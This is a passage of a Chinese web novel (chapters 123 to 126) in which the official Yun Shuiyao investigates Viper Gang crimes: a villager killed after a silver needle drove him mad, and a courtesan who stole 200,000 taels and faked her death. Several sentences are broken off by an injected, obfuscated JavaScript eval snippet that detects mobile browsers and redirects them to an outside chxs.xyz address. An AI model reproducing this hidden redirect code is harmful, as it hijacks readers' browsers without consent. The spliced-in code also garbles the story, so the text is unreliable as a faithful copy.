县令派人去几个村民家里寻找,发现他们家里确实没什么存款;又派人去钱庄查他们的账户,发现他们昨日也未曾存入大额钱财。 这么一来,黄四牛赢的钱去哪里了,就成了一个谜。 县令一开始以为是村民们说谎,说不定他们是把钱藏到某个隐蔽的地方了。 123.细针 可经过多次拷问,几个村民都说冤枉,哪怕受了重伤也不反口,县令这才觉得他们所言属实。 然而,钱虽不见了,但这几个村民杀人属实。县令正准备把他们按照杀人罪问斩,却发现黄四牛的尸体有问题。 在黄四牛左边的脑袋上,聚集着几只苍蝇。仵作拨开苍蝇,仔细观察,发现黄四牛左边的脑门上有一个很小的针孔,应该是有人往他的脑袋里打进去一根针。 看这手法干净利落且十分隐蔽,绝不是几个村民能做到的。 仵作想办法把针吸了出来,是一根比绣花针还细小的银针。 联想到村民们说,黄四牛突然发狂,还听不懂人话,认不得乡亲,县令推测,这可能跟黄四牛脑门里被打入的针有关。 所以,黄四牛被杀一案,应该没有表面上这么简单,是有人在暗中操控。 黄四牛发狂攻击人,村民们为了自保而砍死了他,那么黄四牛死了,几个村民也抵罪了,那些不翼而飞的钱就再也无迹可寻了。 县令办案经验丰富,觉得这样的手段,很像是蝮蛇帮所为,因此便把这个案子上报到了州衙。 州衙的官吏查阅了以前的卷宗,发现蝮蛇帮确实做过类似的事。前些年,如果有一群人同时暴富,蝮蛇帮就会让他们沉迷赌博。而这群暴富的人中,必定有一人手气很好,赢走了所有人的钱。 其他人不甘心,前去讨要钱财,会发展成打斗,往往两方都死了,不死的也会被治罪。而赢钱的那个人,身上的钱也下落不明。 而且之前那些死者,也常有被银针扎入脑门的。 州衙的官吏们看这次的案子跟以前相似,也把其归入了蝮蛇帮的案子中。 看完了这个卷宗后,云水谣叫来经办此事的小吏,问道:“那个赌坊是蝮蛇帮的吗?” “不是。” “黄四牛为什么能一直赢钱?是不是他精通赌术?” “黄四牛以前是个普通的农民,不会赌钱。得到拆迁款后,他染上了赌瘾,一开始也是输多赢少。后来,他突然开始不停地赢钱,把乡亲们的钱都赢光了。我们推测,可能是蝮蛇帮的人教了他一些作弊的方法。” “黄四牛生前是否跟赌场的某些人过从甚密?那些人是蝮蛇帮的吗?” “黄四牛一案是寒梅县的,县令调查过,鸿运赌坊的伙计都只是正常接待客人,没有跟谁特别亲近。黄四牛连续去他们赌坊好多天,那些伙计除了端茶倒水勤快点,其他时候也没见跟黄四牛私下说什么。也许,黄四牛的作弊术是赌坊之外的人教的,而且是避着人的,所以才没有眉目。” “那些打死黄四牛的村民在哪里?” “他们都在州衙的牢房里。因此案悬而未决,他们被拘禁了好几个月了。” “他们在跟踪黄四牛时,有没有见到银针扎入他脑袋的过程?” “没有,他们好像什么也没看见。可能是使用银针的人速度太快了,银针又太细小,普通人难以注意到。” “先带我去看看黄四牛的尸体吧。” “是。” 黄四牛的案件已经移交到雍州府,所以他的尸体存放在州里的冷库。 云水谣带着元景佑进入冷库,让元景佑验尸。 元景佑检验后,道:“一切都跟卷宗上所写没有差别。黄四牛身上有多处刀伤、斧伤和钝挫伤,系被镰刀、斧头、石头等击打、劈砍所致。致命伤是头部的几处伤口,左侧脑门确实有针孔。” 云水谣沉思道:“依你之见,什么样的人能把针扎入死者脑门?” “应该是个练家子,且功夫不低。人的头部很坚硬,要把银针打进去,绝非易事,手劲、巧劲、准头缺一不可。” “你能做到吗?” “不能。我也许能用石头打中人的头部,但要把银针这种细小的东西打进人的脑袋,需要长期的练习。” “蝮蛇帮里,有谁能做到这一点?” “蝮蛇帮虽然存在十几年了,但到目前为止,还没人知道蝮蛇帮的首脑究竟是什么人,之前落网的一些成员都是小喽啰。依我看,那些小喽啰应该做不到,使用银针之人,在蝮蛇帮内应该算个小头目。但具体是何人,就不知道了。” 云水谣来验尸,也有官吏跟随。云水谣便问随行的官吏:“以前雍州是否抓到过蝮蛇帮的成员?可还有活着的?” “抓到过,但他们大部分在被抓的时候就自尽了,没自尽成功的,也在受刑的时候死了,竟是无人吐露蝮蛇帮的大小头领是谁。所以,抓来抓去,都只是一些小蛇,真正的大蛇还隐藏在暗处。” “蝮蛇帮一共有多少人?头目一共几人?” “不知道。” 云水谣有些头疼。连这都不知道,若要把蝮蛇帮连根拔起,怕不是易事。 云水谣看向元景佑:“景佑,蝮蛇帮既然是江湖帮派,你可否向江湖上的朋友打听一下?” 元景佑点头:“我这就去打听。” 元景佑离开后,云水谣对跟随的官吏道:“我想去黄四牛的死亡现场看一下。” “大人,事情已经过去几个月了,案发现场恐怕早就没什么痕迹了。” “没关系,我去看看吧。” 官吏便把云水谣带到了案发现场。 这里是一片荒郊,到处是杂草和乱石,黄四牛的血迹也早就被雨水冲刷干净了,几个月前的打斗痕迹也看不出来了,确实很难发现什么。 云水谣问道:“我看卷宗上写,黄四牛赢了钱之后没有第一时间去存钱,而是来到了这里?” “是的。可能是他太兴奋了,一时想不起去存钱吧。” “他当时还四下张望,像是在找人?” “是的,根据那几个村民所说,是这样的。但他们也不知道黄四牛在找谁。” “黄四牛临死前没说吗?” “没有,黄四牛自从见到那几个村民开始,就发狂了,根本没法正常交流,所以什么遗言也没留下。” “能否从黄四牛生前的行为,推测出他在找什么人?” “我们也调查过,黄四牛生前好像没跟什么人有约。也许是村民们推测错误,黄四牛四下张望,可能是在看有没有人跟踪,而不是在找人。” 云水谣点头:“也有可能。对了,本官想再看看,你们先离开吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797970|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官吏们有些疑虑,这里已经找不到什么线索了,不知道云水谣为何还要继续看。就算要继续看,为何要避着人? 但云水谣是上级,他们也不敢多质疑,直接离开了。 这里只剩下云水谣和两名暗卫。这两名暗卫是安正则留给她的,名叫甲风、乙木。 甲风能在水里闭气一个时辰,乙木能模仿动物的叫声。 现在正是让他们发挥所长的时候。 云水谣把暗卫叫了出来,道:“甲风,你潜入河底看看,看河水有多深。还有,渔人撒网捕鱼,会把网撒到水面下的哪个位置。乙木,你随便模仿几种动物叫声,叫来一些动物,我有用处。” 两人应道:“是。” 甲风潜入了河底,乙木则模仿起了鸟叫。 过了一会,飞来几只黄鹂和布谷鸟。 云水谣想听它们说一些跟案子有关的事,但这些鸟似乎并不知道黄四牛的案子,说的都是其他事。 云水谣对乙木道:“再呼唤几只其他动物过来。” 乙木不知道云水谣想干什么,但对于主子的命令,他当然遵从,因此便模仿起了松鼠、蜻蜓、百灵鸟、狗等动物的声音,招来了一大群动物。 云水谣听了一阵,道:“还是不行,再换一批。” 云水谣知道,通过这种方法找线索,无异于大海捞针。但有希望总好过没有,说不定自己真能见到一只目睹过案发现场的动物。 一连换了七八拨动物,云水谣都没听到想听的。 她有些气馁,干脆让乙木休息一下,她自己也靠着树休息。 过了一会,甲风从水里出来了,回禀道:“大人,这条河大约深一丈,水里的渔网大约都在水下三四尺的位置。” “没有更深的渔网了?” “没有。” 云水谣发现了一个疑点。那几个村民是把黄四牛的尸体绑上石头,沉入水里,按理说会沉底。 而那个捕捞到黄四牛尸体的渔人,却是在第二天才撒网捕鱼的。渔网不会直沉水底,而是在水面下三四尺的地方,那么他是怎么把沉底的尸体打捞上来的? 也许,这件事也是人为。是蝮蛇帮的人找到水底的尸体,并将其放在渔人的渔网中。这样,黄四牛的尸体神不知鬼不觉地被捞上来,杀害他的村民会伏法。 而黄四牛身上的钱,旁人自然会认为是那几个凶手拿走了,真正拿走钱的蝮蛇帮就能逍遥法外了。 云水谣把这个疑点记录了下来。等回了州衙之后,她打算传唤那个捞到尸体的渔夫来问话。 这时,乙木问道:“大人,您还要叫一些动物过来吗?” 云水谣点头:“再试试吧。” 乙木又叫了几只山鸡、狍子、翠鸟等动物过来。 只听一只翠鸟向它的同伴说道:“我刚才明明听见其他同类的声音,叫我来这里吃东西,怎么没见同类?” 另一只翠鸟道:“我也听见了,难道是我们听错了?” “有可能,要不走吧?” “也好。这里可不是什么好地方,我上次经过这里的时候,看见几个人打架,把一个人打死了!” 124.□□ 云水谣听到这里,十分惊喜,竖起了耳朵接着听。 只听前一只翠鸟道:“打死了人?什么时候的事?” 后一只翠鸟道:“几个月之前吧。不过那个死者很凶猛,他一个人打好几个,也没落下风,把其他人都吓坏了!可惜最后他还是死了,双拳难敌四手啊。” “唉,真吓人。” “我还见到,那个死者活着的时候,有人朝他发射了一根针。那根针就这样直直地扎到他的脑门里,然后他就疯了!” “天哪,太夸张了吧?针怎么扎进脑门里?” “我亲眼看见的。总之那个人就用手指这么一弹,那根针‘嗖’的一声,就进了对方的脑袋。” “我只见过拿石头砸别人脑袋的,没见过能把针扎到别人脑袋里的。” “唉,我形容不出来当时的那一瞬间,真的很震撼,如果你也在场,就会相信了。” 云水谣听得很紧张,她很希望翠鸟继续说,发射银针的是什么人。 前一只翠鸟问道:“那你有没有看清楚发射银针的是什么人啊?” “应该是个女人,我闻到了她头上的桂花头油味。不过她蒙着脸,我没看清她长什么样子,就记得她的手很漂亮。还有,她的头皮有一块是发红的。” 两只翠鸟又聊了一会,接下来的话没有涉及案情,然后它们就飞走了。 云水谣默默记下了翠鸟的话:一个蒙面女人,抹着桂花头油,手很漂亮,头皮有一块发红…… 这些线索都太大众化了,很难根据这些去找人。 桂花头油是大部分女孩都会用的,云水谣自己也在用。 头皮发红可能是有炎症,有一阵子云水谣用了一款洗发膏,洗完之后头皮也会发红,她就不用了。 但是天下的女人这么多,她总不能一个一个去看人家的头皮。 而且,凶手前几个月头皮发红,说不定现在已经治好了,这个线索聊胜于无。 云水谣只能先把这些线索记下来,而且不能告诉别人,因为她没法解释这些线索是从哪来的。 如果让别人知道她能听懂动物说话,说不定别人会认为她失心疯了,那她说不定连官都不能继续做。 云水谣回了衙门,叫来几个捕快,让他们去传唤捞到黄四牛尸体的渔夫。 几个时辰后,渔夫被带来了。 这渔夫是个中年汉子,身材干瘦,面色黧黑,脸上有许多被太阳晒出来的斑,黑一块红一块的,十分难看,让人不想多看。 渔夫向云水谣行礼:“小人曾有财,拜见司马大人。” 云水谣问道:“曾有财,就是你打捞到黄四牛的尸体的?” “对,那是两个多月前的事了。” “平时你会把渔网撒到多深的地方?” “大概撒到水面下三四尺,再深就提不动了。” “那天也是吗?” “对。” “你的渔网既未沉底,如何能打捞到最底下的尸体?” “这……小人不知。” “只有一个可能,就是有人把尸体塞进了你的渔网中。你可有察觉?” 渔夫有些害怕:“这……怎么会这样……小人当时毫无察觉……” “你当时除了捞上来一具尸体,还有其他可疑的东西吗?” “除了尸体之外,就是一些小鱼小虾,没有其他的物件。” “你可有看到可疑人等在河里出没?” “没有……据大人所言,难道当时河底是有人的?这太可怕了……” “你不用害怕,对方是想借你的手,让黄四牛的尸体浮出水面而已。” 这个渔夫显然什么也不知道,云水谣便让他回去了。 接着,云水谣提审那几个杀人的村民。 云水谣问了一些跟案情有关的问题,他们的回答也跟卷宗上所写的一致。 云水谣接着问道:“当时你们跟黄四牛打了个照面后,他就什么也没说?” “对,他当时疯了一样,直接就攻击我们。如果我们不还手的话,可能会被打成重伤或打死。” “根据卷宗记录,你们几个人打他一个,也才打了个平手,很费劲才将他杀死?” “是的大人,他也不知哪来那么大力气,我们当时都挺害怕的……” “他以前练过武吗?” “没有。” “平时他的力气跟你们比如何?” “他也就是个普通人,平时我们随便一个人就能跟他打个平手,那天我们合起伙来才勉强将他压制住。” “他的脑袋里有一根针,你们可曾看到针是如何被打入他头部的?” “不知道……” “银针在空气中也会有破风声,你们没听见声音吗?” “没有,当天风挺大的,而且银针又小,就算有破风声,也不明显。” 村民所言也有道理。 云水谣接着问道:“你们可曾看到一个躲在暗处的蒙面女人?” “没有。” “确定没有?她可能是破案的关键。如果她落网了,对于这起案子,她要负主要责任,你们未必会被判死罪。” 几个村民互相看了一眼,眼中燃起了希望,但很快又有些绝望,纷纷说道:“大人,我们真没看见什么蒙面女人。”“是啊,要是看见就好了。”“是不是那个蒙面女人发射的银针啊?” “是的。你们既然没看见,那就没法子了。黄四牛平时是个什么样的人?” “黄四牛是个光棍,有点懒,爱偷奸耍滑,都没人愿意给他说亲。” “你们去赌钱,是谁带你们去的?” “这……好像是大家相约着一起去的……” “没有外人鼓动你们?” “有一些相熟的亲戚朋友提了一嘴,说我们有钱了,可以去赌坊玩玩,如果输了随时可以收手,如果赢了,就可以有更多钱,下半辈子都不用努力了。我们就去了。” “你们都是受亲朋好友和身边人的鼓动?没有陌生人?” “好像没有。” 云水谣猜测,可能是蝮蛇帮的人买通了这些村民的亲朋好友,让他们教唆这些村民去赌钱。 当然,也许蝮蛇帮不需要买通谁,这些村民暴富之后,自然会有看不下去的亲朋好友鼓动他们去挥霍钱财的,这就是人性。而蝮蛇帮只需要在这些人沉迷赌钱之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802073|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再去设局就可以了。 云水谣接着问道:“你们可曾见到有人教黄四牛赌钱?” “没有。我们也怀疑过,黄四牛这小子怎么运气这么好,每把都赢。我们也想问他,但还没问出口,就发生了那件命案。” 这些村民也是一问三不知,云水谣便派人将他们押回了大牢。 他们纷纷求饶: “大人,我们不是故意杀人的!” “是啊,如果不是黄四牛先攻击的话,我们最多是恐吓他一下,把他打伤而已。杀了他,我们也要偿命,得不偿失啊。” 云水谣道:“本官知道,你们稍安勿躁。本官会尽快查明真相。” 村民哀求道:“大人,可否先放我们回家?我们家里的地没人耕种,都长杂草了。” “你们是案犯,不能回家。现在惦记着种田,之前干什么去了?你们明明得到了一大笔钱,却不知道妥善使用,反而去赌钱,最后还闹出了人命案,这该怪谁?” 那几个犯人垂头丧气的,都不再叫屈了,默默回了牢房。 云水谣重新看了看这个案子的卷宗,觉得找不到什么突破口了。 柳依依上前询问:“大人,您的案子查得如何了?” “有几条线索,但都没什么用。先看看第二个案子吧。” 今年雍州城有关蝮蛇帮的案子一共有两起,第一起就是黄四牛被杀案,第二起是杨小官人吊死案。 雍州城内有个姓杨的少年,叫杨之庭。他今年才十六岁,就已经继承了父母和几个亲戚的财产,非常有钱。他是杨家的独生子,且他的一些近亲都没有孩子,所以近亲去世后,家产都归了他。 他虽豪富,却不仗势欺人,日常只是读书访友、弹琴观花,认识他的人都尊称他一声杨小官人。 几个月前,他在万花楼结识了一个名叫琼娘的名妓。 琼娘气质出众,才情过人,平时也是一副淡泊名利的样子,有别于一般的青楼女子。因此杨小官人与琼娘一见如故,经常去跟她吟诗作对,前前后后花了约一万两银子。 琼娘对杨小官人也是情深义重,说自己只倾心于他一个人,对别人都是逢场作戏。 杨小官人越陷越深,几乎已经把琼娘当成了未来的妻子。 可是一次偶然的机会,杨小官人发现,琼娘对几个别的男子也说类似的话,说自己倾心于他们,对其他人都是虚情假意而已。 杨小官人这才发现,琼娘待自己并无不同。他很生气,去质问琼娘,琼娘痛哭流涕,说自己在其他男人面前,是逼不得已才这样说的,不是真心的。 她只对杨小官人真心。可自己身在青楼,很多时候身不由己。如果杨小官人能拿出二十万两银子替她赎身,她就能离开青楼,嫁给杨小官人。 二十万两银子,是杨小官人大部分的身家。但他为了救琼娘,还是同意了。 他回家筹钱,把二十万两银子兑换成银票,来到万花楼找琼娘。 琼娘十分惊喜,帮他数了数钱,确定数额正确之后,就让他去找鸨母,谈赎身的事。 杨小官人很高兴,带着银票去找了鸨母。可鸨母看了他的银票后,说他的银票是伪造的。 125.闹事 杨小官人不信,说这些银票是刚从钱庄拿出来的,不可能有假。 他回到钱庄询问,钱庄的伙计说,刚才给他的是真银票,可现在他手上的银票是假的,应该是刚才被人偷换了。 伙计问他,除了他之外,还有谁碰过这些银票。 杨小官人想起了琼娘,可他怎么也不相信琼娘会这样做。而且当时琼娘拿过银票,只数了数,在很短的时间内就还给了杨小官人,杨小官人一直看着的,不太可能用假的调换。 杨小官人心存疑虑,打算再问问琼娘。 他回到万花楼,却发现琼娘已经不见了,她屋顶的瓦片被移开了,可能琼娘就是从房顶逃走了。 直到此刻,他还不相信琼娘会逃走。老鸨发现琼娘不见了,赶紧叫人追捕,杨小官人这才回过神来,发现自己上当了。 可是,青楼的伙计们没找到琼娘,琼娘就像是人间蒸发了一般。 鸨母又赶紧报官,可官府找了几日,也找不到人。 杨小官人疑心是青楼和琼娘合起伙来骗自己的钱,鸨母指天发誓,说自己也不知道琼娘会干出这种事来。琼娘这个头牌跑了,万花楼损失也很大,自己也是苦主。 杨小官人不信,去报官,说鸨母和琼娘一定是合谋的,鸨母肯定知道琼娘在哪里。 县令提审鸨母和青楼其他伙计,确定他们并不知情,便驳回了杨小官人的诉状。 杨小官人觉得,县衙一定是为了省事,才说鸨母没有嫌疑。 于是,他日日去万花楼闹事,要鸨母把琼娘交出来。 鸨母一开始还好声好气的,但次数多了,鸨母也不耐烦,叫青楼的打手打杨小官人。 杨小官人挨了打,也不在意,继续来闹事。 后来有一次,鸨母让打手们下重手,让杨小官人再也不敢来。 杨小官人被打成重伤之后,觉得自己含冤受屈,人财两失,便吊死在了万花楼的后门。 出了这个命案后,官府十分重视,加派人手寻找琼娘,但一无所获。 万花楼受命案影响,关门了一个多月,最近才重新开张。 万花楼的老鸨逢人便叫屈,说自己好端端的丢了一个头牌,还被杨小官人闹事,最后还摊上了命案,让自己的生意都差点做不下去,实在是流年不利。 杨小官人很有才华,从他的尸身上搜出一封绝命诗,是他临死前写的。这首诗足足写了一百句,详细记录了自己跟琼娘相识相爱的过程,还有后来如何闹矛盾、琼娘如何让他凑钱赎身等事,都写了下来。 这首诗也作为案子的重要物证,呈交到了县衙。 本来这只是一首叙事诗,里面写满了杨小官人对琼娘的感情,以及对琼娘欺骗自己的痛恨之情,一眼看过去便能看懂,县令也没多在意。 但是,县令身边的师爷却是个眼尖的,发现这首诗里有一句“纤手巧翻奔月环”,似乎是一个关键线索。 “奔月环”是一种常见的玩具,由两个半圆形的铁圈组成。这两个半圆铁圈,一端装有磁铁,另一端被做成曲折环绕的样子。 玩法是把两个半圆曲折的那一端组合起来,严丝合缝,而另外一端刚好能贴在一起,形成一个铁圈,就像月亮的形状,所以叫奔月环。 要把两个半圆组成一个圆,并没那么容易,因为曲折的那一端很难对齐。就算对齐了,另一端也难以刚好吸住。 所以,这是跟九连环、七巧板一样,适合无聊时打发时间的玩具,也为许多女人和孩子所喜爱。 琼娘也有一个奔月环,以前她跟杨小官人相处时,也会一起玩。 “纤手巧翻奔月环”一句,本是称赞琼娘心灵手巧,奔月环到她手里,很快就能组装成一个完整的圆。 这句诗本来也没什么奇怪的,但奇怪的是,跟琼娘一起失踪的,除了那二十万两银票,还有那个她常常把玩的奔月环。 琼娘在匆忙间逃走,只需带钱便是,连衣服首饰也来不及首饰,为何偏偏带走了奔月环?这个玩具并不贵,市面上随便就能买到。 这只有一种解释,就是这个奔月环对琼娘很重要,重要到不能离身。 而据说蝮蛇帮的高层,就是以奔月环作为信物。 蝮蛇帮的大小头目,手上都有一个经过改造的奔月环。平时可作为玩具,对敌时,可以把奔月环拆开,里面会射出银针。 所以,可以合理推测,琼娘是蝮蛇帮的核心人物。 这个案子,自然也就移交到州衙,归类到蝮蛇帮的案子中。 杨小官人并不知道琼娘的真实身份,也不是要在诗中提示什么。他只是回忆起跟琼娘相处的时光,因琼娘经常玩奔月环,他也就把这件事写成了一句诗。 没想到,倒是给了官府灵感。 这个案子是在虎牙县发生的,虎牙县的师爷见多识广,听说过蝮蛇帮头目的信物是奔月环的事,结合这次的案情和这首诗,推测出琼娘是蝮蛇帮的头目。 看完这个卷宗后,云水谣忽然灵光一闪:经过改造的奔月环,可以射出银针…… 黄四牛是中了银针之后,才突然发狂的…… 难道,用银针射中黄四牛的人,就是琼娘? 就算不是琼娘,应该也是蝮蛇帮的其他头目。因为改造过的奔月环数量稀少,普通的成员不会有。 云水谣又看了看两个案件发生的时间,是黄四牛被杀案先发生,杨小官人自尽案后发生。黄四牛被杀是发生在三月二十五号,而琼娘卷款潜逃发生在四月一号,杨小官人自尽发生在四月十四。 也就是说,黄四牛被杀的时候,琼娘还在青楼里。 但这并不意味着琼娘没有作案时间。她会武功,要偷偷离开青楼去害一个人还是很轻松的。 且黄四牛是白天遇害的,白天刚好是青楼女子休息的时间。万花楼里其他姑娘都睡着了,琼娘偷偷离开,更加不易被人察觉。 当然,也未必是琼娘。当务之急是尽快找到她,这两桩案子似乎都要着落在她身上。 云水谣又仔细看了看卷宗里关于琼娘的描述。 琼娘是两年前来到万花楼的,来了之后因色艺双绝,很快成了头牌。 既然她是两年前来的,说明她并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806902|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是专门为了骗杨小官人而来,而是蛰伏在青楼里,无差别地骗钱。她应该是用一些隐蔽的手段,使自己不被发现。男人在喝花酒的时候,警觉性不会太高,少了一些银子也不会在意。 而杨小官人带来的二十万两银票实在太多了,琼娘忖度之下,觉得拿了杨小官人的银票就跑是划算的。如果不拿他的钱,继续用自己的方式行骗,也许要很多年才能挣到二十万两。 所以,她选择了拿钱跑路,苦心经营的万花楼头牌这个身份也不要了。 云水谣派人去把经办杨小官人一案的小吏叫过来,有些细节要问问他。 在那小吏来之前,云水谣先把自己的发现跟柳依依说了。 柳依依问道:“既然这琼娘身怀武功,为何要待在青楼里?” “大概是为了更方便地骗钱。来青楼的多是浪荡子,出手也阔绰,她连哄带骗的,能得到不少钱。” “可是,她待在青楼里,不是要……接客吗?这也能受得了?” “她们这种以骗钱为生的人,不在意这个。也许,她也不是自愿,而是被上级安排来这里,她没法反抗。” “您刚才不是说,她很有可能是蝮蛇帮的头目吗?” “对,但她未必是最大的,可能上面还有人管着。一般而言,像蝮蛇帮这种组织,会有一些残忍的操控人的手段,使底下人不得不服从。” 正说着,经办杨小官人一案的小吏来了。 云水谣问道:“官府通缉了琼娘这么久,可有眉目?” “大人,琼娘已经死了。” “什么?!可是卷宗上没写。” “因为杨小官人的那二十万两银票还没找到,此案还有一些疑点未清,所以没有结案,卷宗也没有更新。” “琼娘是怎么死的?” “半个月前,有一队捕快在树林里见到了琼娘,就赶紧追捕。琼娘一路逃到了悬崖边,捕快们用箭射她,她中箭之后坠崖了。” “找到她的尸体了吗?” “没有,悬崖下面是江水,水流湍急,估计早把她的尸体给冲走了。” “既然没有尸体,就不能断言她死了。” “可是她中箭了,而且还掉下了悬崖……” “也许她是故意这样做的,就是为了让官府以为她已死,以后就不会再追捕她。这件事疑点颇多,首先,捕快们是不是偶然间见到她的?” “是。” “她在树林里,有许多地方可以遮蔽自己。如果她见到捕快,为何不藏起来或逃走,反而要迎上去?而且,她都逃走几个月了,为什么还打扮得跟以前一样,让捕快一眼就能认出她来?” “这……倒确实可疑。” 云水谣继续说道:“还有,琼娘当时从万花楼逃走,青楼的人马上去追她,却失去了她的踪迹。前后不过半炷香功夫,她就逃得无影无踪,足可见她的武功和轻功都是上乘。那么,那天捕快们追她,为何又能追上?树林这么大,她为何偏要往悬崖方向跑?以她的武功,会躲不开捕快的几支箭吗?她中箭坠崖,就是做给捕快们看的。” 126.小巷 小吏道:“原来如此,还是大人明察秋毫。” “带我去琼娘坠崖之处看看。” “是。” 琼娘假死脱身,也只是云水谣的推测,还是要去勘察一下现场才放心。 有万分之一的可能,琼娘真的死了。 当然,云水谣更倾向于她还活着。 那个小吏带上追捕过琼娘的捕快们,跟云水谣一起出发。大约一个时辰后,她们便来到了琼娘坠崖的地方。 这里遍生藤蔓,但却有一处地方的藤蔓被连根扯断,看起来光秃秃的,就像是人的头发突然缺了一块。 云水谣问那小吏:“琼娘坠崖时的细节,能详细说说吗?” 小吏道:“当时我不在现场,不过冯捕头是亲眼看见她坠崖的,让冯捕头来跟您说吧。” 冯捕头就跟在他们身边,闻言走出来道:“当时,我和另外两个捕快用袖箭射琼娘,一共射出十三箭,琼娘躲过了十一箭,中了两箭。一箭在肩头,一箭在肚子。然后她就向后倒了下去,掉下了悬崖。” “她掉下去时,可有蹭坏悬崖边的藤蔓?” “这个……记不清了。” 云水谣走到藤蔓缺失的地方,观察了一会,道:“这里的藤蔓虽然缺失,但是有向后拉扯的痕迹,在悬崖边的沙石上留下了磨痕。可以推测,当时琼娘坠崖,其实偷偷扯住了其中几条藤蔓,让自己悬挂在半空中。等捕快们走了,她再用力拉扯藤蔓,借势翻了上来。因为劲用大了,这几根藤蔓被连根扯了下来,她就随手扔了。” 小吏和捕快们查看了痕迹,都觉得云水谣说的有道理:“大人所言,有如亲见,当时的场景应该确实是这样的。琼娘坠崖一事确实太过巧合了,她八成是假死脱身。”“没错,她当时中的两箭其实都不致命,只要她及时处理伤口,就没问题。” 云水谣推测:“我想,琼娘说不定还在雍州城里,只是伪装成了别的身份。” 小吏有些惊讶:“这……琼娘当真如此大胆?” “雍州官府在追捕她,她就干脆换个身份继续在雍州生活。别人想不到她会这样做,她反而安全。她久历江湖,必有伪装的方法。” “可是,雍州这么大,不知道她在哪里?” “盲目地找肯定是不行的,要根据已有的线索分析。带我去万花楼看看。” 一行人便来到了万花楼。 此时已是黄昏时分,万花楼正准备挂牌迎客。 老鸨见云水谣走了进来,有些惊讶。同行的小吏介绍,说云水谣是雍州城的女官。 老鸨赶紧热情地招呼:“女官大人,您来此有什么贵干?来人,上茶。” 云水谣道:“我是来调查琼娘的案子的。” 老鸨脸色一变:“大人,该说的我都说过了,琼娘做的事情真的跟万花楼没有关系啊……自从她逃走,我们也没过过一天安生日子……” “别担心,本官只是询问一些线索,不会为难你们的。” “是,您请到雅间。” 老鸨把云水谣等人请到了一间雅间,叫人端来上好的茶水和食物。 云水谣也没吃,直接问道:“琼娘是两年前来到万花楼的?” “是的。” “在那之前她是做什么的?” “她只说自己以前也是在堂子里卖艺的,因羡慕雍州繁华,所以来到万花楼谋生。” “你们对她的过去有调查过吗?” “这个……我们青楼里缺人,只要有人愿意来,我们不会卡得很严。而且琼娘长得漂亮,乐器也弹得好,我哪有理由不留下?关于她的过去,我也没多问。” “她在这两年时间里,有什么异常之处吗?” “没有,唯一特别的大概就是她特别美,又特别有才华,所以吸引了很多客人来光顾。” “你们没发现她身怀武功?” “没有,我们也是等她逃走了才知道她会武。以前楼里有客人打架时,她还被误伤过,那时候她完全就是一副弱女子的模样,可太会伪装了……” “她平时玩的那个奔月环,是怎么来的?” “这我就不清楚了,可能是她自己带来的吧。像这种小玩具,我们楼里很多姑娘都有,闲着无聊时用来解闷的,我也不会管这种细节。” “琼娘以前在这里,是有丫环的吧?把她的丫环叫来,我有话问她。” “是。” 过了一会,伺候琼娘的丫环被带了过来。云水谣问了奔月环的事,丫环道:“我也不知道,好像是琼娘自己带来的,她没叫我买过。” “她逃走那天,可有异常?” “那天一大早,琼娘就说杨小官人会来找她,她们有话要说,叫我不必在旁边伺候,因此我就离开了琼娘的屋子。后来发生了什么,我也不知道。” 云水谣点头道:“琼娘的头皮有炎症吗?会发红吗?” “好像不会,琼娘姐姐的头发一向很好,无论用什么洗头膏都不过敏,头皮也从不发红。” 之前根据翠鸟所言,黄四牛头上的银针是被一个头皮发红的女人扎进去的,那应该不是琼娘了,但一定是蝮蛇帮的其他小头目。 丫环好奇地问道:“大人,您为何要问这个?” 云水谣搪塞道:“哦,之前本官见到一个人,长得有几分像琼娘,她的头皮有一块是发红的,好像是有炎症。当时那个女人匆匆过去,我也没多看,如今看来应该不是琼娘。” 云水谣又对鸨母道:“带我去琼娘的房间看看。” 鸨母道:“那等我先去叫那个房间的姑娘出来。” 云水谣有些惊讶:“琼娘的房间给别人住了?” “是啊,她的房间很不错,总不能空着吧?我给另一个姑娘住了。” 既然有别人住进去了,琼娘以前的生活痕迹就没有了,恐怕也查不出什么有用的线索。 但云水谣无法,只得先去那个房间看看。 那个房间的姑娘已经出来了,云水谣便走了进去。 她看了看屋中的陈设,问道:“这里的布置跟琼娘在时一样吗?” 鸨母道:“不一样了,另一个姑娘住进来后,就按照自己的喜好布置了。” 云水谣又抬头看了看房顶,道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 